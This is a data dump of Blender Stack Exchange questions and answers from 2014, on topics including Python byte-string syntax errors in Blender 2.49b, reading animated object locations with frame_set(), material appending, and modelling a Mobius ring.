  <row Id="14805" PostTypeId="1" CreationDate="2014-08-07T18:27:17.520" Score="2" ViewCount="1228" Body="&lt;p&gt;So, I'm trying to get nifscripts to work with blender 2.49b on a Mac. I suspect there may be an issue with the installed versions of python, but for the life of me I can't suss it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when I start blender from the command line, I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Compiled with Python version 2.5.6.&#xA;Checking for installed Python... got it!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good. Running a system report generates expected output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Paths:&#xA;&#xA;/Applications/blender.app/Contents/MacOS/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python25.zip&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/plat-darwin&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/plat-mac&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/plat-mac/lib-scriptpackages&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/Extras/lib/python&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/lib-tk&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/lib/python2.5/lib-dynload&#xA;/Library/Python/2.5/site-packages&#xA;/System/Library/Frameworks/Python.framework/Versions/2.5/Extras/lib/python/PyObjC&#xA;/Applications/blender.app/Contents/MacOS/.blender/scripts&#xA;/Applications/blender.app/Contents/MacOS/.blender/scripts/bpymodules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it seems to be using the same python it was built off of. However, when I try to run the &lt;code&gt;nif_common.py&lt;/code&gt; script, I start getting syntax errors. The first one seemed to involve the &lt;code&gt;with... as f&lt;/code&gt; keyword, which I resolved by using the more traditional &lt;code&gt;f =&lt;/code&gt; syntax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;nif_common.py&quot;, line 91, in &amp;lt;module&amp;gt;&#xA;  File &quot;/Applications/blender.app/Contents/MacOS/.blender/scripts/bpymodules/pyffi/formats/nif/__init__.py&quot;, line 3277&#xA;    return b''&#xA;             ^&#xA;SyntaxError: invalid syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I fail to see the invalid syntax; this scripts uses that form several times, and only the last does it throw an error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 91 of &lt;code&gt;nif_common.py&lt;/code&gt; reads:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from pyffi.formats.nif import NifFormat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;__init__.py&lt;/code&gt; file contains at line 3277:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def _get_string(self, offset):&#xA;        &quot;&quot;&quot;A wrapper around string_palette.palette.get_string. Used by get_node_name&#xA;        etc. Returns the string at given offset.&quot;&quot;&quot;&#xA;        if offset == -1:&#xA;            return b''&#xA;&#xA;        if not self.string_palette:&#xA;            return b''&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, my familiarity with python is minimal, so I'm not sure whether the offending &lt;code&gt;''&lt;/code&gt; does anything or not. But I can't see how invalid syntax would end up in established code like this...&lt;/p&gt;&#xA;" OwnerUserId="5516" LastEditorUserId="599" LastEditDate="2014-08-07T19:18:16.093" LastActivityDate="2014-08-08T18:27:06.750" Title="Python - syntax error in established code" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14806" PostTypeId="2" ParentId="2683" CreationDate="2014-08-07T18:34:07.757" Score="4" Body="&lt;p&gt;As it turns out, you have to be out of Particle Mode before you render or the hair will not appear. I'm using 2.71&lt;/p&gt;&#xA;" OwnerUserId="5517" LastEditorUserId="2217" LastEditDate="2014-08-07T21:04:50.557" LastActivityDate="2014-08-07T21:04:50.557" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14807" PostTypeId="2" ParentId="14793" CreationDate="2014-08-07T18:36:59.723" Score="1" Body="&lt;p&gt;This sounds like a job for math, python, and bmesh.  You'll have to have an understanding of the mathematics behind orthographic and perspective projections so that you can compute replacement coordinates for the vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the formula, you can write python which iterates through the vertices of the mesh and rewrites their coordinates.  Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.active_object&#xA;for v in obj.data.vertices:&#xA;    v.co = funkify(v.co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-08-07T18:36:59.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14808" PostTypeId="1" CreationDate="2014-08-07T19:20:51.730" Score="31" ViewCount="205657" Body="&lt;p&gt;I've tried to import but I don't see the (.max) file as an option when importing. Is there another way to import the 3DMax model into Blender for rigging and animation?&lt;/p&gt;&#xA;" OwnerUserId="5136" LastEditorUserId="2217" LastEditDate="2018-10-15T12:33:04.773" LastActivityDate="2021-01-09T19:39:35.870" Title="How to import a .max model into Blender?" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="14809" PostTypeId="1" AcceptedAnswerId="14812" CreationDate="2014-08-07T20:41:23.740" Score="4" ViewCount="4560" Body="&lt;p&gt;I have a animation where one object moves through the 3D space. How can I get the location of this object which it has at a specific frame? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.context.active_object&#xA;ol = obj.location&#xA;&#xA;# set current frame to 1&#xA;bpy.context.scene.frame_current = 1&#xA;&#xA;pos_1 = (ol.x, ol.y, ol.z)&#xA;&#xA;# set current frame to 5&#xA;bpy.context.scene.frame_current = 5&#xA;pos_5 = (ol.x, ol.y, ol.z)&#xA;&#xA;# set current frame to 10&#xA;bpy.context.scene.frame_current = 10&#xA;pos_10 = (ol.x, ol.y, ol.z)&#xA;&#xA;# set current frame back to 1&#xA;bpy.context.scene.frame_current = 1&#xA;&#xA;print('Frame 1 {0}, id: {1}'.format(pos_1, id(pos_1)))&#xA;print('Frame 5 {0}, id: {1}'.format(pos_5, id(pos_5)))&#xA;print('Frame 10 {0}, id: {1}'.format(pos_10, id(pos_10)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the output for all Frames is the same except for the id's. So, how can I get the position of an object at a specific frame?&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-08-07T21:01:55.933" Title="Location of an object at a specific frame" Tags="&lt;python&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14810" PostTypeId="2" ParentId="14809" CreationDate="2014-08-07T20:47:06.203" Score="7" Body="&lt;p&gt;Try using &lt;code&gt;frame_set()&lt;/code&gt; instead of directly setting the current frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;ol = obj.location&#xA;&#xA;# set current frame to 1&#xA;bpy.context.scene.frame_set(1)&#xA;&#xA;pos_1 = (ol.x, ol.y, ol.z)&#xA;&#xA;# set current frame to 5&#xA;bpy.context.scene.frame_set(5)&#xA;pos_5 = (ol.x, ol.y, ol.z)&#xA;&#xA;# set current frame to 10&#xA;bpy.context.scene.frame_set(10)&#xA;pos_10 = (ol.x, ol.y, ol.z)&#xA;&#xA;# set current frame back to 1&#xA;bpy.context.scene.frame_set(1)&#xA;&#xA;print('Frame 1 {0}, id: {1}'.format(pos_1, id(pos_1)))&#xA;print('Frame 5 {0}, id: {1}'.format(pos_5, id(pos_5)))&#xA;print('Frame 10 {0}, id: {1}'.format(pos_10, id(pos_10)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Directly setting the current frame does not update all the animated values and re-evaluate drivers, etc. so the object position is not updated.&lt;br&gt;&#xA;Using &lt;code&gt;frame_set()&lt;/code&gt; will update everything, so the location is printed as expected.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-07T20:52:55.530" LastActivityDate="2014-08-07T20:52:55.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14811" PostTypeId="2" ParentId="14802" CreationDate="2014-08-07T20:56:44.883" Score="6" Body="&lt;p&gt;The yellow lines do not represent &quot;links&quot; but selected keyframes with the same value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form the &lt;a href=&quot;https://www.blender.org/manual/editors/dope_sheet/introduction.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;One of the key feature of this window is that it allows you to visualize immediately which channel (i.e. Ipo curve) is really affected. When the value of a given channel does not change at all between two neighboring keyframes, a gray (unselected) or yellow (selected) line is drawn between them.&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If what's bothering you is the way the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/FCurves&quot; rel=&quot;nofollow noreferrer&quot;&gt;interpolation&lt;/a&gt; works between keyframes , you should edit those not the dope sheet but on the &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph&quot; rel=&quot;nofollow noreferrer&quot;&gt;Graph editor&lt;/a&gt;&lt;/strong&gt; window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example you can see the same key frames for the location of the X channel represented on the dope sheet and the graph editor, Notice how the Yellow lines between keyframes coincide with the flat regions of the graph, and how the line disappears where there is some transformation on the value in the graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W2g0C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;A note on the Hierarchical system and the Dope Sheet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everytime you add keyframes using the &lt;kbd&gt;I&lt;/kbd&gt; key you are presented with an option to choose what channels you want to use for the keyframe, for example Loc,Rot_Scale or Loc_Scale, Rotation only, all channels, only selected channels. The channels you choose are what is called a &lt;strong&gt;Keying Set&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind keying sets is to keep things organized, for example if you don't want to have a location keyframe when you just need to rotate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the DopeSheet you have access both to the keying sets and individual channels and they are organized in a hierarchical structure. You can move, delete or add keyframes with ease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&#xA;At the top of the Hierarchy you'll find the dopesheet summary that encompasses every keyframe on the scene.&#xA;On the second level there are the individual objects with their own keyframes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yqWls.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Click on the trianlges on the left to reveal the next levels down.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dqnWT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lines rows in green are the &lt;strong&gt;Keying Sets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QmMgw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And further down are the individual channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1903.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on where in the hierarchy you move (or add, or delete) the keyframes, you might affect everything, just the keying set or individual channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the Yelllow line... Sorry Still no magic nothing there... It doesn't hold anything inside it: It doesn't have any other purpose than to show information in unchanging values between keyframes.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-04-22T19:57:01.707" LastActivityDate="2016-04-22T19:57:01.707" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14812" PostTypeId="2" ParentId="14809" CreationDate="2014-08-07T21:01:55.933" Score="1" Body="&lt;p&gt;The &quot;cleanest&quot; answer is to look into the obj.animation_data.action.fcurves list to find the ones with data_path==&quot;location&quot; and use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc[fc.array_index] = fc.evaluate(frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to evaluate them.  Things get tricker if you have NLAs or drivers.  It makes me wish the animation_data property had an evaluate(data_path, frame) method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then again, you might be able to just bpy.context.scene.update() after each frame_current= in your original version.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-08-07T21:01:55.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14813" PostTypeId="2" ParentId="14805" CreationDate="2014-08-07T22:23:21.190" Score="4" Body="&lt;p&gt;&lt;code&gt;b''&lt;/code&gt; or &lt;code&gt;b&quot;&quot;&lt;/code&gt; define a byte string, this is a feature of &lt;strong&gt;Python2.7&lt;/strong&gt; or &lt;strong&gt;3.x&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://stackoverflow.com/questions/17707085/python-string-b-prefix-byte-literals&quot;&gt;https://stackoverflow.com/questions/17707085/python-string-b-prefix-byte-literals&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Python2.7 with Blender2.4x, but you'll have to recompile Blender, linking to the newer Python version.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-08-07T22:23:21.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14814" PostTypeId="1" AcceptedAnswerId="14846" CreationDate="2014-08-08T03:18:53.203" Score="4" ViewCount="2413" Body="&lt;p&gt;I know that this has been asked before, but the answers that others have received did not help me much.  When creating objects through Python, using bpy.ops.mesh.primitive_cube_add() there is an exponential slowdown when looping the creation of objects.  My script that I am writing takes an image and creates a grid of cubes based on every pixel.  It also assigns a material to each cube based on each pixel's color.  When running it on a 32x32 image, it is very fast (about 1 second).  When running it on a 100x100 image, the script gets slower and slower as it runs.  I also have learned that using a low-level method to create my cubes I won't experience the slowdown.  I changed my code to a low-level method, and the speeds are much faster, but I still experience the slowdown.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;copy = ob.copy()&#xA;copy.data = ob.data.copy()&#xA;copy.data.materials.append(material)&#xA;copy.location.x = x - 1&#xA;copy.location.y = y - 1&#xA;copy.location.z = 1&#xA;bpy.context.scene.objects.link(copy)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my current code for creating cubes.  My full addon can be accessed here: &lt;a href=&quot;https://gist.github.com/MrSprite/ff7fda1ec4bf6850d357&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/MrSprite/ff7fda1ec4bf6850d357&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a faster/better way of doing this?  Because I would really like to be able to create 100,000+ cubes without waiting hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5505" LastEditorUserId="5505" LastEditDate="2014-08-10T03:51:42.100" LastActivityDate="2014-08-10T03:51:42.100" Title="Object creation slows over time" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ClosedDate="2014-08-14T17:19:39.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="14815" PostTypeId="1" AcceptedAnswerId="14817" CreationDate="2014-08-08T04:31:38.230" Score="3" ViewCount="2146" Body="&lt;p&gt;I am trying to append models from a separate blender file.&#xA;The objects get appended but the associated material do not show up in the new blender file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The materials show up in the materials tab with an additional &lt;code&gt;Node&amp;lt;none&amp;gt;&lt;/code&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UaUJH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried appending materials separately but the materials still wont show or render on the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get to append materials along with the object&lt;/p&gt;&#xA;" OwnerUserId="2018" LastActivityDate="2014-08-08T06:47:28.380" Title="Appending Materials" Tags="&lt;append&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14816" PostTypeId="2" ParentId="14734" CreationDate="2014-08-08T06:26:34.487" Score="2" Body="&lt;p&gt;The action editor is the easiest place to re-time your animations. After you have duplicated the action and deleted the other parts, you can select all keyframes &lt;kbd&gt;A&lt;/kbd&gt; and move them along the timeline by pressing &lt;kbd&gt;G&lt;/kbd&gt;, like moving anything else, until the first keyframe of the new action is at frame one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the dopesheet header you will find a snapping options menu, having this on Nearest Frame helps to keep things aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ybHnh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this &lt;a href=&quot;https://blender.stackexchange.com/a/1996/935&quot;&gt;answer&lt;/a&gt; I put together &lt;a href=&quot;https://raw.githubusercontent.com/sambler/myblendercontrib/master/keyframealign.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;an addon&lt;/a&gt; to make it easier to use. If you save your startup file with the addon activated it will always be there.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-08-08T06:26:34.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14817" PostTypeId="2" ParentId="14815" CreationDate="2014-08-08T06:47:28.380" Score="6" Body="&lt;p&gt;Materials made for cycles (with nodes) show up like this when you switch to Blender Render. Switch the render engine to cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCitP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-08T06:47:28.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14818" PostTypeId="1" AcceptedAnswerId="14834" CreationDate="2014-08-08T07:36:00.997" Score="3" ViewCount="3654" Body="&lt;p&gt;Is there any easy way to texture this road model or any other way to achieve the goal?  There are some small roads in the model as well. I want to apply the road texture to all the roads in the model according to their size and shapes. Thanks in advance !!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;3dscity.blend&quot; file link:&#xA;&lt;a href=&quot;http://1drv.ms/V3RVvJ&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://1drv.ms/V3RVvJ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YeZWX.png&quot; alt=&quot;Roads model and texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5522" LastEditorUserId="5522" LastEditDate="2014-08-08T13:52:30.747" LastActivityDate="2014-08-09T05:04:27.153" Title="How can I texture a complex road system?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14819" PostTypeId="1" AcceptedAnswerId="14883" CreationDate="2014-08-08T08:15:37.677" Score="2" ViewCount="138" Body="&lt;p&gt;I have file of a mesh and it appears normally in Blender, on my Windows machine, as shown below&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HMnzr.png&quot; alt=&quot;correct output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I open the same file using Blender, on my Ubuntu machine it appears like below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gSySY.png&quot; alt=&quot;wrong output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, could anyone explain why is it displaying weirdly on Ubuntu (lower one), meanwhile, on Windows (upper one) it's ok?&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2015-03-16T10:12:12.060" LastActivityDate="2015-03-16T10:12:12.060" Title="Same mesh displayed differently on different machines" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;rigging&gt;&lt;makehuman&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14820" PostTypeId="1" AcceptedAnswerId="14821" CreationDate="2014-08-08T08:43:01.483" Score="0" ViewCount="1025" Body="&lt;p&gt;I am creating rocks with a group-hair particle system of leaves on top of the rocks. The leaves was just an alpha image being textured into a plane. It was working fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I render the alpha image, there are shadows of the plane. I wanted it just to have shadows on the leaf and not the alpha-part of the image. What is the cause? &#xA;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/30875&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s. I already checked transparency on the material of the plane and make sure to have zero alpha and spectacular. Also, when I render the leaves alone (not the particle system), it appears fine. Like on the pictures below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XJiCz.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;There are shadows when in particle system.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LPYwT.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cP4Nz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Textures for the leaf (I can't get 3mb to upload here. Btw, the source was from a tutorial by Andrew Price):&#xA;&lt;a href=&quot;http://www.pasteall.org/pic/75151&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/pic/75151&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5110" LastEditorUserId="5110" LastEditDate="2014-08-08T14:57:47.213" LastActivityDate="2014-08-08T14:57:47.213" Title="Unable to render an Alpha Transparant texture" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14821" PostTypeId="2" ParentId="14820" CreationDate="2014-08-08T09:40:16.227" Score="3" Body="&lt;p&gt;You're using buffer shadows, which according to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps/Spot/Buffered_Shadows&quot; rel=&quot;nofollow&quot;&gt;the documentation&lt;/a&gt; cannot render transparent shadows.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Raytraced shadows are generally more accurate, with extra capabilities such as transparent shadows, although they are quite slower to render.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4979" LastActivityDate="2014-08-08T09:40:16.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14822" PostTypeId="1" CreationDate="2014-08-08T09:41:43.140" Score="7" ViewCount="1931" Body="&lt;p&gt;I may be going about this the wrong way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a Mobius ring. I managed to do it by twisting (rotating using proportional editing) then using a curve modifier. But the faces were full of creases no matter how I smoothed them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried to extrude a plane converted to a curve which was getting there. But I cannot see a way to join two edges of the Mobius ring with a surface.&#xA;I would appreciate any pointers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stephen&lt;/p&gt;&#xA;" OwnerUserId="239" LastEditorUserId="241" LastEditDate="2014-08-08T09:58:04.303" LastActivityDate="2015-04-06T01:30:48.643" Title="How can I create a Mobius ring?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14824" PostTypeId="2" ParentId="14822" CreationDate="2014-08-08T10:54:48.270" Score="6" Body="&lt;p&gt;The easiest way (I think) to create a Mobius ring is to use a bezier curve with an extrude value.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a bezier curve&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude and move the curve points into a rough circle.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the 'Extrude' value on the curve properties to give the curve thickness:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jxnww.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The trick is to pick one of the middle curve points and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; to start the 'Tilt' tool. This will allow you to rotate the curve point. Type 180 while using this tool to completely flip the curve point.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You should end up with something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dR4gS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There are actually 4 points in this curve but the last 2 are exactly on top of each other (lower left) to complete the circle.&lt;/p&gt;&#xA;&lt;p&gt;Convert the curve to a mesh, enter edit mode and merge the start and end vertices using the &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; 'Merge' menu.&lt;/p&gt;&#xA;&lt;p&gt;However, this may cause shading issues as the normals wont know which part of the mesh is 'inside' and which is 'outside'.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-08T10:54:48.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14825" PostTypeId="2" ParentId="14822" CreationDate="2014-08-08T11:00:27.387" Score="3" Body="&lt;p&gt;I'm not sure what kind of Möbius ring you want, so here is a simple method how you can make the simplest one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Add a circle mesh and extrude all vertices along the z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PY68H.png&quot; alt=&quot;step1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Delete one of the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsgGc.png&quot; alt=&quot;step2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) With proportional editing (connected) rotate one loose end 90° and the other -90° around the x axis.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z6aI0.png&quot; alt=&quot;step3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Select the 4 vertices at the loose end and press f to create a face.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eqKJx.png&quot; alt=&quot;final&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a more complex one with more loops, you could try to start with just a plane and repeatedly extrude and rotate one side.&lt;/p&gt;&#xA;" OwnerUserId="5383" LastActivityDate="2014-08-08T11:00:27.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14826" PostTypeId="1" CreationDate="2014-08-08T11:01:00.817" Score="1" ViewCount="3112" Body="&lt;p&gt;Consider the under-construction flower mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R8ppl.png&quot; alt=&quot;Initial flower geometry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each leaf shape, I want one single UV face. Is it possible to merge UV islands or is the only solution to overlap them manually?&lt;/p&gt;&#xA;" OwnerUserId="3258" LastActivityDate="2019-03-12T20:01:44.797" Title="Multiple mesh faces, one UV face" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
